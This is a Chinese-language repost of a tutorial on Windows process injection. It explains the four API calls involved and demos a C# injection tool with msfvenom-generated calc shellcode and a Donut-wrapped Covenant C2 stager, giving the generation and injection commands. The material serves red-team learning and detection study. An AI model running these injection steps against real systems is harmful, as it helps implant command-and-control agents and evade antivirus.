进程注入概述(一)
2019-09-06 10:06:37 Author: xz.aliyun.com(查看原文) 阅读量:290 收藏

0x00 前言

在前段时间,我发布文章Dumping Process Memory with Custom C# Code 后,我的好基友Himanshu建议写一篇相对简单的进程注入文章,以方便新手学习。并且他也写了一些关于Code Injection的文章,很好地阐述了普通的进程注入技术。

学习和理解进程注入技术的核心概念其实非常有趣,而且可以提升C#技术,目前我甚至可以编写Process Injection的工具。

0x01 What is Process Injection ?

进程注入是一种在某个单独的实时进程的地址空间中执行任意代码的方法。 在一个进程的上下文中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。 因为执行命令需要借用某些合法进程,所以一般的进程注入都要绕过AV检测。

0x02 Why Process Injection ?

恶意软件通常利用进程注入访问系统的资源,然后进一步留下后门,实现持久性访问并且修改系统某些环境。 更复杂的样本可以通过命名管道(named pipes )或进程间通信(IPC)机制作为通信渠道,为了更好的规避检测,它们通常会有分段模块,执行多个进程注入。

有非常多种进程注入的方法。 在这篇文章中,我将介绍普通的进程注入,同时也会做一些演示。

我写了一个进程注入工具,放在我的github repo上。

在本文要分享的进程注入中,将会用到4个Windows API,利用可以注入shellcode到远程进程。

  • OpenProcess - OpenProcess函数可以返回已有进程对象的句柄。
  • VirtualAllocEX - VirtualAllocEx函数用于分配内存,同时赋予对内存地址的访问权限。
  • WriteProcessMemory - WriteProcessMemory函数可以将数据写入指定进程中的内存区域。
  • CreateRemoteThread - CreateRemoteThread函数将创建一个新线程,该线程运行在另一个进程的虚拟地址空间。

0x03 Demo

我会演示使用两种不同的工具来生成shellcode。

  • MSFVenom - MSFVenom是通过Metasploit有效负载来生成shellcode的工具。
  • Donut - Donut是一个shellcode生成工具,可以从.NET程序集中创建position-independant(位置无关)的shellcode有效负载。 此shellcode可用于将程序集注入到任意Windows进程中。随意给出一个.NET程序集,参数和入口点(例如Program.Main),该工具可以生成position-independant的shellcode,并且从内存加载。 .NET程序集可以通过URL加载,或者直接嵌入在shellcode中。

支持三种类型的shellcode格式:

  • Base64
  • Hex
  • C

0x03.1 MSFVenom

首先尝试使用MSFVenom生成shellcode,并且将shellcode注入到远程进程。

注入Base64 shellcode到记事本

MSFVenom命令:

msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" | base64

进程注入命令:

ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\base64.txt" /f:base64

Hex shellcode

MSFVenom命令:

msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f hex

进程注入命令:

ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\hex.txt" /f:hex

C shellcode

MSFVenom命令:

msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -b "\x00" -f c

进程注入命令:

ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\c.txt" /f:c

0x03.2 Donut

考虑到Donut可以通过任意.NET程序集来生成shellcode,我们将使用Covenent C2框架生成初始有效负载:

  • Covenent - Covenant是一个.NET命令和控制框架,专注于.NET框架的攻击面,可以帮助研究人员快速生成具有入侵性.NET有效负载,并且红队成员提供了具有协作性控制平台。

在这篇文章中,我不会介绍Covenant的安装与使用。 你可以从wiki上参考有关信息,或者从BloodHound Gang Slack上获取帮助。

Donut

Covenant

下载covenant的二进制文件,编译安装后,使用Donut生成shellcode。

Donut命令:

.\donut.exe -f .\GruntStager.exe

进程注入命令:

.\ProcessInjection.exe /pid:6344 /path:"C:\Users\User\Desktop\covenant.txt" /f:base64

本地监测

工具:Process Explorer

使用该工具可以监视Windows API的调用,例如CreateRemoteThread函数以及其他可通过其他进程修改内存的函数(例如WriteProcessMemory函数)。 同时,这个工具还可以监视当前的网络连接情况。

0x04 参考

https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/
https://thewover.github.io/Introducing-Donut/
https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf
https://attack.mitre.org/techniques/T1055/
https://github.com/TheWover/donut/tree/master/DonutTest

参考来源:3xpl01tc0d3r.blogspot.com


文章来源: http://xz.aliyun.com/t/6210
如有侵权请联系:admin#unsafe.sh